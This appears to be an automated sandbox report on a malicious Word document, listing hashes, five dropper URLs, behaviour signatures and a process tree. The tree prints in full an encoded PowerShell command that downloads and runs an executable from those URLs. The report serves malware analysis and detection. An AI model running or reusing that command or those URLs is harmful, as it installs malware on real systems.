f954e89b36a77905275265bd2fb0d06598eac1367a986b8f882830b42b87b511

General

Target

7d4a88e3197c77c0baaa1200d916a769_JaffaCakes118.doc
Size

233KB
MD5

7d4a88e3197c77c0baaa1200d916a769
SHA1

bee5d88b478a9bbc3332eb8c3ee9b1cecfd9e88b
SHA256

f954e89b36a77905275265bd2fb0d06598eac1367a986b8f882830b42b87b511
SHA512

cbc9e32e2ead3872521e69bc093fe3f190d612c3d96dc86fb01bb68f86b3aa1d8692c1045be8da46f64a6ecf5ce21baf2742979e889a0b34003b3c7f7e82c7c8
SSDEEP

3072:Ej6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGk2B+8ymwaF+Rc:EHgtEWPsL/aTyT9Gk2BBymwaQRc

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://synologlogin.com/cgi-bin/ho_iewdm_x99w/

exe.dropper

http://tz005.com/aspnet_client/system_web/upao5_p_i/

exe.dropper

http://nucleokardecistalace.org.br/wp-includes/hnor_qz_n66fskbujg/

exe.dropper

http://m.hepingzyy120.com/mbsz/tg_h9_9tkc5xa2/

exe.dropper

http://identisoft.pt/istore/xz_nf_fql8v7nx/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4928	1212	powersheLL.exe	82

Blocklisted process makes network request 8 IoCs

flow	pid	Process
28	4928	powersheLL.exe
29	4928	powersheLL.exe
36	4928	powersheLL.exe
39	4928	powersheLL.exe
42	4928	powersheLL.exe
48	4928	powersheLL.exe
50	4928	powersheLL.exe
52	4928	powersheLL.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4884	668	DW20.EXE	81

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
668	WINWORD.EXE
668	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
668	WINWORD.EXE
668	WINWORD.EXE
4928	powersheLL.exe
4928	powersheLL.exe
668	WINWORD.EXE
668	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4928	powersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
668	WINWORD.EXE
668	WINWORD.EXE
668	WINWORD.EXE
668	WINWORD.EXE
668	WINWORD.EXE
668	WINWORD.EXE
668	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 668 wrote to memory of 4884	668	WINWORD.EXE	89
PID 668 wrote to memory of 4884	668	WINWORD.EXE	89
PID 4884 wrote to memory of 4360	4884	DW20.EXE	91
PID 4884 wrote to memory of 4360	4884	DW20.EXE	91

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7d4a88e3197c77c0baaa1200d916a769_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:668
- C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
  "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 5076
  2⤵
  - Process spawned suspicious child process
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\dwwin.exe
    C:\Windows\system32\dwwin.exe -x -s 5076
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:4360

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAGIAegBoAHgAZQB4AD0AJwBOAHkAOQAzADAANABoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQByAGkAVABZAGAAcAByAE8AdABPAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAHUAbAB6AGMAeQB4ACAAPQAgACcAWgB3AHoAbQAnADsAJABSAHUAdgBhADIAXwBoAD0AJwBOAHgAcABsAG8AdwB3ACcAOwAkAFkAbgA4AGEAYQB2AG8APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABUAHUAbAB6AGMAeQB4ACsAJwAuAGUAeABlACcAOwAkAEMAdAAzADUAMgBfAHIAPQAnAFEAdwAwADkAbgBtADQAJwA7ACQAVAB4AG8AcAB2AHYAdQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBlAG4AdAA7ACQAUABmADgAMAB1ADUAbQA9ACcAaAB0AHQAcAA6AC8ALwBzAHkAbgBvAGwAbwBnAGwAbwBnAGkAbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGgAbwBfAGkAZQB3AGQAbQBfAHgAOQA5AHcALwAqAGgAdAB0AHAAOgAvAC8AdAB6ADAAMAA1AC4AYwBvAG0ALwBhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AC8AcwB5AHMAdABlAG0AXwB3AGUAYgAvAHUAcABhAG8ANQBfAHAAXwBpAC8AKgBoAHQAdABwADoALwAvAG4AdQBjAGwAZQBvAGsAYQByAGQAZQBjAGkAcwB0AGEAbABhAGMAZQAuAG8AcgBnAC4AYgByAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaABuAG8AcgBfAHEAegBfAG4ANgA2AGYAcwBrAGIAdQBqAGcALwAqAGgAdAB0AHAAOgAvAC8AbQAuAGgAZQBwAGkAbgBnAHoAeQB5ADEAMgAwAC4AYwBvAG0ALwBtAGIAcwB6AC8AdABnAF8AaAA5AF8AOQB0AGsAYwA1AHgAYQAyAC8AKgBoAHQAdABwADoALwAvAGkAZABlAG4AdABpAHMAbwBmAHQALgBwAHQALwBpAHMAdABvAHIAZQAvAHgAegBfAG4AZgBfAGYAcQBsADgAdgA3AG4AeAAvACcALgAiAHMAUABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBxAGMAZQByAHoAcgA9ACcAWQB5AG8AOABpAHgAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAG0AagAwADMAMgAgAGkAbgAgACQAUABmADgAMAB1ADUAbQApAHsAdAByAHkAewAkAFQAeABvAHAAdgB2AHUALgAiAEQAYABvAHcAbgBsAGAAbwBBAEQAZgBgAEkAbABlACIAKAAkAFoAYgBtAGoAMAAzADIALAAgACQAWQBuADgAYQBhAHYAbwApADsAJABGAGsAOABtAGgAeQBxAD0AJwBDAGoAbwBlAGIAagB4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWQBuADgAYQBhAHYAbwApAC4AIgBMAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADIAMwA0ADMANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABZAG4AOABhAGEAdgBvACkAOwAkAEkAZQAwAHUAcgBxAG8APQAnAEQAOABkAHYAdgBkAF8AJwA7AGIAcgBlAGEAawA7ACQAUQAyAGMAcQBxADgAdQA9ACcASgBiAGgAbABtAHYAeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGIAOAB0AHEANAAxAD0AJwBOAGsAYgAyAG4AZABzACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1g5cb4y4.3jo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/668-22-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-3-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/668-1-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/668-5-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/668-4-0x00007FFBA07ED000-0x00007FFBA07EE000-memory.dmp

Filesize
4KB

Download
memory/668-6-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-8-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-7-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-9-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-10-0x00007FFB5E600000-0x00007FFB5E610000-memory.dmp

Filesize
64KB

Download
memory/668-11-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-16-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-15-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-14-0x00007FFB5E600000-0x00007FFB5E610000-memory.dmp

Filesize
64KB

Download
memory/668-13-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-12-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-0-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/668-20-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-78-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-21-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-19-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-18-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-17-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-35-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-36-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-59-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-66-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-71-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-23-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-111-0x00007FFBA0750000-0x00007FFBA0945000-memory.dmp

Filesize
2.0MB

Download
memory/668-2-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/4884-107-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/4884-110-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/4884-109-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/4884-108-0x00007FFB607D0000-0x00007FFB607E0000-memory.dmp

Filesize
64KB

Download
memory/4928-92-0x0000020E74B50000-0x0000020E74B72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads